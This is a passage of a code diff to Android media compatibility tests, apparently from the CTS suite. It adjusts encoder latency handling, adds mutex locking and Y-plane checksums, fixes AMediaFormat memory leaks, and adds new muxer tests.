             } else if (bufferID == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
+                AMediaFormat* outFormat = AMediaCodec_getOutputFormat(mEncoder);
+                AMediaFormat_getInt32(outFormat, AMEDIAFORMAT_KEY_LATENCY, &mLatency);
+                AMediaFormat_delete(outFormat);
             } else if (bufferID == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
             } else if (bufferID == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
             } else {
@@ -367,7 +395,7 @@
                 if (!dequeueDecoderOutput(element.bufferIndex, &element.bufferInfo)) return false;
             }
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
@@ -389,7 +417,7 @@
                 }
             }
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
@@ -416,8 +444,7 @@
             // check decoder EOS
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
             // encoder output
-            // TODO: remove fixed constant and change it according to encoder latency
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
@@ -445,8 +472,7 @@
                 return false;
             }
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
-            // TODO: remove fixed constant and change it according to encoder latency
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
diff --git a/tests/media/jni/NativeCodecTestBase.cpp b/tests/media/jni/NativeCodecTestBase.cpp
index 4e13e9c..1f33f13 100644
--- a/tests/media/jni/NativeCodecTestBase.cpp
+++ b/tests/media/jni/NativeCodecTestBase.cpp
@@ -141,6 +141,7 @@
 }
 
 void CodecAsyncHandler::setOutputFormat(AMediaFormat* format) {
+    std::unique_lock<std::mutex> lock{mMutex};
     assert(format != nullptr);
     if (mOutFormat) {
         AMediaFormat_delete(mOutFormat);
@@ -151,10 +152,12 @@
 }
 
 AMediaFormat* CodecAsyncHandler::getOutputFormat() {
+    std::unique_lock<std::mutex> lock{mMutex};
     return mOutFormat;
 }
 
 bool CodecAsyncHandler::hasOutputFormatChanged() {
+    std::unique_lock<std::mutex> lock{mMutex};
     return mSignalledOutFormatChanged;
 }
 
@@ -204,6 +207,31 @@
     return result;
 }
 
+void OutputManager::updateChecksum(
+        uint8_t* buf, AMediaCodecBufferInfo* info, int width, int height, int stride) {
+    uint8_t flattenInfo[16];
+    int pos = 0;
+    if (width <= 0 || height <= 0 || stride <= 0) {
+        flattenField<int32_t>(flattenInfo, &pos, info->size);
+    }
+    flattenField<int32_t>(flattenInfo, &pos,
+                          info->flags & ~AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM);
+    flattenField<int64_t>(flattenInfo, &pos, info->presentationTimeUs);
+    crc32value = crc32(crc32value, flattenInfo, pos);
+    if (width > 0 && height > 0 && stride > 0) {
+        // Only checksum Y plane
+        std::vector<uint8_t> tmp(width * height, 0u);
+        size_t offset = 0;
+        for (int i = 0; i < height; ++i) {
+            memcpy(tmp.data() + (i * width), buf + offset, width);
+            offset += stride;
+        }
+        crc32value = crc32(crc32value, tmp.data(), width * height);
+    } else {
+        crc32value = crc32(crc32value, buf, info->size);
+    }
+}
+
 bool OutputManager::isOutPtsListIdenticalToInpPtsList(bool requireSorting) {
     bool isEqual = true;
     std::sort(inpPtsArray.begin(), inpPtsArray.end());
diff --git a/tests/media/jni/NativeCodecTestBase.h b/tests/media/jni/NativeCodecTestBase.h
index 87a46f9..c950d86 100644
--- a/tests/media/jni/NativeCodecTestBase.h
+++ b/tests/media/jni/NativeCodecTestBase.h
@@ -63,7 +63,7 @@
     std::list<callbackObject> mCbInputQueue;
     std::list<callbackObject> mCbOutputQueue;
     AMediaFormat* mOutFormat;
-    bool mSignalledOutFormatChanged;
+    volatile bool mSignalledOutFormatChanged;
     volatile bool mSignalledError;
 
   public:
@@ -103,18 +103,13 @@
     bool isPtsStrictlyIncreasing(int64_t lastPts);
     bool isOutPtsListIdenticalToInpPtsList(bool requireSorting);
     void saveToMemory(uint8_t* buf, AMediaCodecBufferInfo* info) {
-        memory.insert(memory.end(), buf + info->offset, buf + info->size);
+        memory.insert(memory.end(), buf, buf + info->size);
     }
     void updateChecksum(uint8_t* buf, AMediaCodecBufferInfo* info) {
-        crc32value = crc32(crc32value, buf + info->offset, info->size);
-        uint8_t flattenInfo[16];
-        int pos = 0;
-        flattenField<int32_t>(flattenInfo, &pos, info->size);
-        flattenField<int32_t>(flattenInfo, &pos,
-                              info->flags & ~AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM);
-        flattenField<int64_t>(flattenInfo, &pos, info->presentationTimeUs);
-        crc32value = crc32(crc32value, flattenInfo, sizeof(flattenInfo));
+        updateChecksum(buf, info, 0, 0, 0);
     }
+    void updateChecksum(
+            uint8_t* buf, AMediaCodecBufferInfo* info, int width, int height, int stride);
     uLong getChecksum() { return crc32value; }
     void reset() {
         inpPtsArray.clear();
diff --git a/tests/media/jni/NativeCodecUnitTest.cpp b/tests/media/jni/NativeCodecUnitTest.cpp
index 724bf7b..aa27619 100644
--- a/tests/media/jni/NativeCodecUnitTest.cpp
+++ b/tests/media/jni/NativeCodecUnitTest.cpp
@@ -745,11 +745,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getInputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat fails in initialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -768,11 +769,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getInputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat fails in running state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -789,22 +791,24 @@
         AMediaFormat* dupFormat = AMediaCodec_getInputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat succeeds in uninitialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!configureCodec(mFormat, isAsync, false, isEncoder)) return false;
         CHECK_STATUS(AMediaCodec_start(mCodec), "AMediaCodec_start failed");
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
         dupFormat = AMediaCodec_getInputFormat(mCodec);
         dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat succeeds in stopped state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
     }
     return !hasSeenError();
 }
@@ -918,11 +922,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getOutputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat fails in initialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -941,11 +946,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getOutputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat fails in running state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -960,22 +966,24 @@
         AMediaFormat* dupFormat = AMediaCodec_getOutputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat succeeds in uninitialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!configureCodec(mFormat, isAsync, false, isEncoder)) return false;
         CHECK_STATUS(AMediaCodec_start(mCodec), "AMediaCodec_start failed");
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
         dupFormat = AMediaCodec_getOutputFormat(mCodec);
         dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat succeeds in stopped state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
     }
     return !hasSeenError();
 }
@@ -1373,11 +1381,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getBufferFormat(mCodec, 0);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds in initialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -1397,11 +1406,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getBufferFormat(mCodec, -1);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds for bad buffer index -1");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!queueEOS()) return false;
         if (!hasSeenError()) {
             int bufferIndex = 0;
@@ -1414,11 +1424,12 @@
                         dupFormat = AMediaCodec_getBufferFormat(mCodec, bufferIndex);
                         dupMime = nullptr;
                         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-                        AMediaFormat_delete(dupFormat);
                         if (!dupMime || strcmp(dupMime, mime) != 0) {
+                            AMediaFormat_delete(dupFormat);
                             ALOGE("GetBufferFormat fails in running state");
                             return false;
                         }
+                        AMediaFormat_delete(dupFormat);
                         isOk = dequeueOutput(element.bufferIndex, &element.bufferInfo);
                     }
                 } else {
@@ -1427,11 +1438,12 @@
                         dupFormat = AMediaCodec_getBufferFormat(mCodec, bufferIndex);
                         dupMime = nullptr;
                         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-                        AMediaFormat_delete(dupFormat);
                         if (!dupMime || strcmp(dupMime, mime) != 0) {
+                            AMediaFormat_delete(dupFormat);
                             ALOGE("GetBufferFormat fails in running state");
                             return false;
                         }
+                        AMediaFormat_delete(dupFormat);
                         isOk = dequeueOutput(bufferIndex, &outInfo);
                     }
                 }
@@ -1443,11 +1455,12 @@
             dupFormat = AMediaCodec_getBufferFormat(mCodec, bufferIndex);
             dupMime = nullptr;
             AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-            AMediaFormat_delete(dupFormat);
             if (dupMime) {
+                AMediaFormat_delete(dupFormat);
                 ALOGE("GetBufferFormat succeeds for buffer index not owned by client");
                 return false;
             }
+            AMediaFormat_delete(dupFormat);
         } else {
             ALOGE("Got unexpected error");
             return false;
@@ -1466,22 +1479,24 @@
         AMediaFormat* dupFormat = AMediaCodec_getBufferFormat(mCodec, 0);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds in uninitialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!configureCodec(mFormat, isAsync, false, isEncoder)) return false;
         CHECK_STATUS(AMediaCodec_start(mCodec), "AMediaCodec_start failed");
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
         dupFormat = AMediaCodec_getBufferFormat(mCodec, 0);
         dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds in stopped state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
     }
     return !hasSeenError();
 }
diff --git a/tests/media/jni/NativeExtractorTest.cpp b/tests/media/jni/NativeExtractorTest.cpp
index e5c391a..de0fae8 100644
--- a/tests/media/jni/NativeExtractorTest.cpp
+++ b/tests/media/jni/NativeExtractorTest.cpp
@@ -93,7 +93,7 @@
                 setSampleInfo(refExtractor, &refSampleInfo);
                 setSampleInfo(testExtractor, &testSampleInfo);
                 if (!isSampleInfoValidAndIdentical(&refSampleInfo, &testSampleInfo)) {
-                    ALOGD(" Mime: %s mismatch for sample: %d", refMime, frameCount);
+                    ALOGD(" Mime: %s mismatch for sample: %d", mime, frameCount);
                     ALOGD(" flags exp/got: %d / %d", refSampleInfo.flags, testSampleInfo.flags);
                     ALOGD(" size exp/got: %d / %d ", refSampleInfo.size, testSampleInfo.size);
                     ALOGD(" ts exp/got: %" PRId64 " / %" PRId64 "",
@@ -104,55 +104,53 @@
                 ssize_t refSz =
                         AMediaExtractor_readSampleData(refExtractor, refBuffer, maxSampleSize);
                 if (refSz != refSampleInfo.size) {
-                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", refMime, refSampleInfo.size, refSz);
+                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", mime, refSampleInfo.size, refSz);
                     areTracksIdentical = false;
                     break;
                 }
                 ssize_t testSz =
                         AMediaExtractor_readSampleData(testExtractor, testBuffer, maxSampleSize);
                 if (testSz != testSampleInfo.size) {
-                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", refMime, testSampleInfo.size,
-                          testSz);
+                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", mime, testSampleInfo.size, testSz);
                     areTracksIdentical = false;
                     break;
                 }
                 int trackIndex = AMediaExtractor_getSampleTrackIndex(refExtractor);
                 if (trackIndex != refTrackID) {
-                    ALOGD("Mime: %s TrackID exp/got: %zu / %d", refMime, refTrackID, trackIndex);
+                    ALOGD("Mime: %s TrackID exp/got: %zu / %d", mime, refTrackID, trackIndex);
                     areTracksIdentical = false;
                     break;
                 }
                 trackIndex = AMediaExtractor_getSampleTrackIndex(testExtractor);
                 if (trackIndex != testTrackID) {
-                    ALOGD("Mime: %s  TrackID exp/got %zd / %d : ", refMime, testTrackID,
-                          trackIndex);
+                    ALOGD("Mime: %s  TrackID exp/got %zd / %d : ", mime, testTrackID, trackIndex);
                     areTracksIdentical = false;
                     break;
                 }
                 if (memcmp(refBuffer, testBuffer, refSz)) {
-                    ALOGD("Mime: %s Mismatch in sample data", refMime);
+                    ALOGD("Mime: %s Mismatch in sample data", mime);
                     areTracksIdentical = false;
                     break;
                 }
                 bool haveRefSamples = AMediaExtractor_advance(refExtractor);
                 bool haveTestSamples = AMediaExtractor_advance(testExtractor);
                 if (haveRefSamples != haveTestSamples) {
-                    ALOGD("Mime: %s Mismatch in sampleCount", refMime);
+                    ALOGD("Mime: %s Mismatch in sampleCount", mime);
                     areTracksIdentical = false;
                     break;
                 }
 
                 if (!haveRefSamples && !isExtractorOKonEOS(refExtractor)) {
-                    ALOGD("Mime: %s calls post advance() are not OK", refMime);
+                    ALOGD("Mime: %s calls post advance() are not OK", mime);
                     areTracksIdentical = false;
                     break;
                 }
                 if (!haveTestSamples && !isExtractorOKonEOS(testExtractor)) {
-                    ALOGD("Mime: %s calls post advance() are not OK", refMime);
+                    ALOGD("Mime: %s calls post advance() are not OK", mime);
                     areTracksIdentical = false;
                     break;
                 }
-                ALOGV("Mime: %s Sample: %d flags: %d size: %d ts: % " PRId64 "", refMime,
+                ALOGV("Mime: %s Sample: %d flags: %d size: %d ts: % " PRId64 "", mime,
                       frameCount, refSampleInfo.flags, refSampleInfo.size,
                       refSampleInfo.presentationTimeUs);
                 if (!haveRefSamples || frameCount >= sampleLimit) {
@@ -423,6 +421,7 @@
         const char* currMime = nullptr;
         bool hasKey = AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &currMime);
         if (!hasKey || strcmp(currMime, mime) != 0) {
+            AMediaFormat_delete(format);
             continue;
         }
         AMediaExtractor_selectTrack(extractor, trackID);
diff --git a/tests/media/jni/NativeMediaCommon.cpp b/tests/media/jni/NativeMediaCommon.cpp
index 8cccbc0..90540e0 100644
--- a/tests/media/jni/NativeMediaCommon.cpp
+++ b/tests/media/jni/NativeMediaCommon.cpp
@@ -47,8 +47,6 @@
 const char* TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE = "bitrate-mode";
 
 bool isCSDIdentical(AMediaFormat* refFormat, AMediaFormat* testFormat) {
-    const char* mime;
-    AMediaFormat_getString(refFormat, AMEDIAFORMAT_KEY_MIME, &mime);
     for (int i = 0;; i++) {
         std::pair<void*, size_t> refCsd;
         std::pair<void*, size_t> testCsd;
diff --git a/tests/media/jni/NativeMuxerTest.cpp b/tests/media/jni/NativeMuxerTest.cpp
index cea162c7..b9eae64 100644
--- a/tests/media/jni/NativeMuxerTest.cpp
+++ b/tests/media/jni/NativeMuxerTest.cpp
@@ -271,6 +271,8 @@
         AMediaFormat* thisFormat = mFormat[i];
         const char* thisMime = nullptr;
         AMediaFormat_getString(thisFormat, AMEDIAFORMAT_KEY_MIME, &thisMime);
+        int tolerance = !strncmp(thisMime, "video/", strlen("video/")) ? STTS_TOLERANCE_US : 0;
+        tolerance += 1; // rounding error
         int j = 0;
         for (; j < that->mTrackCount; j++) {
             AMediaFormat* thatFormat = that->mFormat[j];
@@ -279,9 +281,6 @@
             if (thisMime != nullptr && thatMime != nullptr && !strcmp(thisMime, thatMime)) {
                 if (!isFormatSimilar(thisFormat, thatFormat)) continue;
                 if (mBufferInfo[i].size() == that->mBufferInfo[j].size()) {
-                    int tolerance =
-                            !strncmp(thisMime, "video/", strlen("video/")) ? STTS_TOLERANCE_US : 0;
-                    tolerance += 1; // rounding error
                     int k = 0;
                     for (; k < mBufferInfo[i].size(); k++) {
                         AMediaCodecBufferInfo* thisInfo = mBufferInfo[i][k];
@@ -305,6 +304,7 @@
             }
         }
         if (j == that->mTrackCount) {
+            AMediaFormat_getString(thisFormat, AMEDIAFORMAT_KEY_MIME, &thisMime);
             ALOGV("For mime %s, Couldn't find a match", thisMime);
             return false;
         }
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
index 7a9fde1..7d93fad 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
@@ -56,6 +56,8 @@
     private final int mBitrate;
     private final int mFrameRate;
     private final int mMaxBFrames;
+    private int mLatency;
+    private boolean mReviseLatency;
 
     private MediaExtractor mExtractor;
     private MediaCodec mEncoder;
@@ -92,6 +94,8 @@
         mBitrate = bitrate;
         mFrameRate = frameRate;
         mMaxBFrames = 0;
+        mLatency = mMaxBFrames;
+        mReviseLatency = false;
         mAsyncHandleDecoder = new CodecAsyncHandler();
         mAsyncHandleEncoder = new CodecAsyncHandler();
     }
@@ -157,6 +161,10 @@
         resetContext(isAsync, signalEOSWithLastFrame);
         mAsyncHandleEncoder.setCallBack(mEncoder, isAsync);
         mEncoder.configure(encFormat, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
+        if (mEncoder.getInputFormat().containsKey(MediaFormat.KEY_LATENCY)) {
+            mReviseLatency = true;
+            mLatency = mEncoder.getInputFormat().getInteger(MediaFormat.KEY_LATENCY);
+        }
         mSurface = mEncoder.createInputSurface();
         assertTrue("Surface is not valid", mSurface.isValid());
         mAsyncHandleDecoder.setCallBack(mDecoder, isAsync);
@@ -254,6 +262,23 @@
     private void tryEncoderOutput(long timeOutUs) throws InterruptedException {
         if (mIsCodecInAsyncMode) {
             if (!hasSeenError() && !mSawEncOutputEOS) {
+                int retry = 0;
+                while (mReviseLatency) {
+                    if (mAsyncHandleEncoder.hasOutputFormatChanged()) {
+                        mReviseLatency = false;
+                        int actualLatency = mAsyncHandleEncoder.getOutputFormat()
+                                .getInteger(MediaFormat.KEY_LATENCY, mLatency);
+                        if (mLatency < actualLatency) {
+                            mLatency = actualLatency;
+                            return;
+                        }
+                    } else {
+                        if (retry > 10) throw new InterruptedException(
+                                "did not receive output format changed for encoder");
+                        Thread.sleep(timeOutUs / 1000);
+                        retry ++;
+                    }
+                }
                 Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandleEncoder.getOutput();
                 if (element != null) {
                     dequeueEncoderOutput(element.first, element.second);
@@ -265,6 +290,9 @@
                 int outputBufferId = mEncoder.dequeueOutputBuffer(outInfo, timeOutUs);
                 if (outputBufferId >= 0) {
                     dequeueEncoderOutput(outputBufferId, outInfo);
+                } else if (outputBufferId == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    mLatency = mEncoder.getOutputFormat()
+                            .getInteger(MediaFormat.KEY_LATENCY, mLatency);
                 }
             }
         }
@@ -304,8 +332,7 @@
                 Pair<Integer, MediaCodec.BufferInfo> decOp = mAsyncHandleDecoder.getOutput();
                 if (decOp != null) dequeueDecoderOutput(decOp.first, decOp.second);
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
@@ -318,8 +345,7 @@
                     dequeueDecoderOutput(outputBufferId, outInfo);
                 }
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
@@ -347,8 +373,7 @@
                 // check decoder EOS
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
                 // encoder output
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
@@ -370,8 +395,7 @@
                 // check decoder EOS
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
                 // encoder output
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 1350d6f..e7527bb7 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -283,11 +283,37 @@
     }
 
     void checksum(ByteBuffer buf, int size) {
+        checksum(buf, size, 0, 0, 0);
+    }
+
+    void checksum(ByteBuffer buf, int size, int width, int height, int stride) {
         int cap = buf.capacity();
         assertTrue("checksum() params are invalid: size = " + size + " cap = " + cap,
                 size > 0 && size <= cap);
         if (buf.hasArray()) {
-            mCrc32UsingBuffer.update(buf.array(), buf.position() + buf.arrayOffset(), size);
+            if (width > 0 && height > 0 && stride > 0) {
+                int offset = buf.position() + buf.arrayOffset();
+                byte[] bb = new byte[width * height];
+                for (int i = 0; i < height; ++i) {
+                    System.arraycopy(buf.array(), offset, bb, i * width, width);
+                    offset += stride;
+                }
+                mCrc32UsingBuffer.update(bb, 0, width * height);
+            } else {
+                mCrc32UsingBuffer.update(buf.array(), buf.position() + buf.arrayOffset(), size);
+            }
+        } else if (width > 0 && height > 0 && stride > 0) {
+            // Checksum only the Y plane
+            int pos = buf.position();
+            int offset = pos;
+            byte[] bb = new byte[width * height];
+            for (int i = 0; i < height; ++i) {
+                buf.position(offset);
+                buf.get(bb, i * width, width);
+                offset += stride;
+            }
+            mCrc32UsingBuffer.update(bb, 0, width * height);
+            buf.position(pos);
         } else {
             int pos = buf.position();
             final int rdsize = Math.min(4096, size);
@@ -1039,8 +1065,11 @@
         return format.containsKey("csd-0");
     }
 
-    void flattenBufferInfo(MediaCodec.BufferInfo info) {
-        flatBuffer.putInt(info.size).putInt(info.flags & ~MediaCodec.BUFFER_FLAG_END_OF_STREAM)
+    void flattenBufferInfo(MediaCodec.BufferInfo info, boolean isAudio) {
+        if (isAudio) {
+            flatBuffer.putInt(info.size);
+        }
+        flatBuffer.putInt(info.flags & ~MediaCodec.BUFFER_FLAG_END_OF_STREAM)
                 .putLong(info.presentationTimeUs);
         flatBuffer.flip();
     }
@@ -1111,14 +1140,20 @@
     void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
         if (info.size > 0 && mSaveToMem) {
             ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
-            mOutputBuff.checksum(buf, info.size);
-            flattenBufferInfo(info);
+            flattenBufferInfo(info, mIsAudio);
             mOutputBuff.checksum(flatBuffer, flatBuffer.limit());
             if (mIsAudio) {
+                mOutputBuff.checksum(buf, info.size);
                 mOutputBuff.saveToMemory(buf, info);
             } else {
                 // tests both getOutputImage and getOutputBuffer. Can do time division
                 // multiplexing but lets allow it for now
+                MediaFormat format = mCodec.getOutputFormat();
+                int width = format.getInteger(MediaFormat.KEY_WIDTH);
+                int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+                int stride = format.getInteger(MediaFormat.KEY_STRIDE);
+                mOutputBuff.checksum(buf, info.size, width, height, stride);
+
                 Image img = mCodec.getOutputImage(bufferIndex);
                 assertTrue(img != null);
                 mOutputBuff.checksum(img);
diff --git a/tests/media/src/android/mediav2/cts/MuxerTest.java b/tests/media/src/android/mediav2/cts/MuxerTest.java
index d68741c..dd5f795 100644
--- a/tests/media/src/android/mediav2/cts/MuxerTest.java
+++ b/tests/media/src/android/mediav2/cts/MuxerTest.java
@@ -1059,6 +1059,15 @@
             }
         }
 
+        @Test
+        public void testSimpleMuxNative() {
+            Assume.assumeTrue("TODO(b/146421018)",
+                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+            Assume.assumeTrue("TODO(b/146923287)",
+                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+            assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
+        }
+
         /* Does MediaMuxer throw IllegalStateException on missing codec specific data when required.
          * Check if relevant exception is thrown for AAC, AVC, HEVC, and MPEG4
          * codecs that require CSD in MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4.
@@ -1091,14 +1100,161 @@
                 }
             }
         }
+    }
+
+    @LargeTest
+    @RunWith(Parameterized.class)
+    public static class TestAddEmptyTracks {
+        private final List<String> mimeListforTypeMp4 =
+                Arrays.asList(MediaFormat.MIMETYPE_VIDEO_MPEG4, MediaFormat.MIMETYPE_VIDEO_H263,
+                        MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC,
+                        MediaFormat.MIMETYPE_AUDIO_AAC, MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC,
+                        MediaFormat.MIMETYPE_TEXT_SUBRIP);
+        private final List<String> mimeListforTypeWebm =
+                Arrays.asList(MediaFormat.MIMETYPE_VIDEO_VP8, MediaFormat.MIMETYPE_VIDEO_VP9,
+                        MediaFormat.MIMETYPE_AUDIO_VORBIS, MediaFormat.MIMETYPE_AUDIO_OPUS);
+        private final List<String> mimeListforType3gp =
+                Arrays.asList(MediaFormat.MIMETYPE_VIDEO_MPEG4, MediaFormat.MIMETYPE_VIDEO_H263,
+                        MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_AUDIO_AAC,
+                        MediaFormat.MIMETYPE_AUDIO_AMR_NB, MediaFormat.MIMETYPE_AUDIO_AMR_WB);
+        private final List<String> mimeListforTypeOgg =
+                Arrays.asList(MediaFormat.MIMETYPE_AUDIO_OPUS);
+        private String mMime;
